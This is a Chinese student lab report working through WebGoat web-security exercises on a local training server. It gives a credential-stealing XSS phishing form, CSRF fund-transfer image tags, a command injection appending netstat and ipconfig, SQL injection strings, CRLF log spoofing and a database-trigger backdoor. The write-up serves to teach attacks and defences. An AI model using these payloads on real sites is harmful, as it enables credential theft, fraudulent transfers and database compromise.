20145321 《網絡對抗技術》 Web安全基礎實踐

20145321《網絡對抗技術》 Web安全基礎實踐

基礎問題回答

1.SQL注入攻擊原理,如何防護?java

SQL注入就是經過把SQL命令插入到「Web表單遞交」或「輸入域名」或「頁面請求」的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。web

防護:不把機密信息明文存放,加密敏感信息;經過正則表達式,對用戶的輸入進行校驗;不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。正則表達式

2.XSS攻擊的原理,如何防護?sql

XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。數據庫

防護:檢查用戶輸入的內容中是否有非法內容;在輸入方面對用戶提交的的內容進行可靠的輸入驗證。瀏覽器

3.CSRF攻擊原理,如何防護?安全

CSRF是跨站請求僞造,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。服務器

防護:按期清理保存的cookie;儘可能不要在頁面的連接中暴露用戶隱私信息。cookie

實驗過程記錄

webgoat

在終端輸入 java -jar webgoat-container-7.0.1-war-exec.jar 運行WebGoat網絡

在瀏覽器上訪問localhost:8080/WebGoat

xss攻擊

Phishing with XSS

這個題目咱們要在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,而且將這些信息發送給http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,完整的XSS攻擊代碼以下

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中輸入攻擊代碼後點擊搜索,會看到一個要求輸入用戶名密碼的表單。輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你

攻擊成功

Stored XSS Attacks

咱們的目標是要建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容,輸入:<script>alert("20145321 attack succeed!");</script>

提交後,再次點擊剛剛建立的帖子,成功彈出窗口,說明攻擊成功

Reflected XSS Attacks

當咱們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展現給咱們看。這時若是咱們將帶有攻擊性的URL做爲輸入源,如輸入<script>alert("20145321 attack succeed!");</script>,就會彈出如上個實驗XSS存儲攻擊同樣的對話框。

雖然效果和上一個存儲型XSS實驗的效果相似,可是二者所用的原理不同,存儲型XSS是持久化的,代碼是存儲在服務器中,比較典型的例子就是上面所用的留言板,而這個實驗中用的是反射型XSS攻擊是非持久化的,應用的場景好比欺騙用戶本身去點擊連接才能觸發XSS代碼,也就是說它的代碼是不存在服務器中的,因此通常來講存儲型XSS攻擊危害更大。

Cross Site Request Forgery(CSRF)

咱們的目的是要寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。

咱們在message框中輸入這樣一串代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>,注意這裏面的Screen和menu的值每一個人的電腦可能不同,能夠在當前頁面的右邊有個Parameters進行查看。

提交後,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的4000元,從而達到CSRF攻擊的目的。

CSRF Prompt By-Pass

咱們要構造CSRF攻擊,其包括了兩個請求,一是轉帳請求,二是確認轉帳成功請求,即須要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)

先在瀏覽器中手動輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000進入確認轉帳請求頁面

點擊了CONFIRM按鈕以後,再在瀏覽器中輸入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功轉走了5000元

Injection Flaws練習

Command Injection

這個題是要求可以在目標主機上執行系統命令,咱們能夠經過火狐瀏覽器下的一個擴展Firebug對源代碼進行修改,例如在BackDoors.help旁邊加上"& netstat -an & ipconfig" 。以後在下拉菜單中能看到咱們修改後的值。

選中修改後的值再點view,能夠看到命令被執行,出現系統網絡鏈接狀況。

Numeric SQL Injection

咱們要經過注入SQL字符串的方式查看全部的天氣數據,只要加上一個1=1這種永真式便可達到咱們的目的,依舊利用firebug,在任意一個值好比101旁邊加上or 1=1

選中Columbia,點Go,能夠看到全部天氣數據

Log Spoofing

咱們輸入的用戶名會被追加到日誌文件中,因此咱們可使用障眼法來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」,在User Name文本框中輸入zzy%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符。如圖所示,攻擊成功。

String SQL Injection

基於select語句構造SQL注入字符串,在文本框中輸入' or 1=1 --

Go,攻擊成功,全部用戶信息都被顯示出來

LAB:SQL Injection(Stage 1:String SQL Injection)

以用戶Neville登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,可是登陸失敗。查看網頁源碼,發現最多隻容許輸入8個字符。對字符長度進行修改,而後從新登陸,登陸成功

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

咱們仍是用上一題的辦法先以用戶名Larry登陸,登陸以後看到瀏覽員工信息的按鈕是ViewProfile

在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,通常來講老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一個

以後就能夠查看到老闆的信息

Database Backdoors

實驗目的是實現多條SQL語句的注入,在userid中輸入101 or 1=1;--,經過了

接下來使用語句 101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145321@163.com' WHERE userid = NEW.userid建立一個後門,把表中全部的郵箱和用戶ID都設爲個人

相關文章
相關標籤/搜索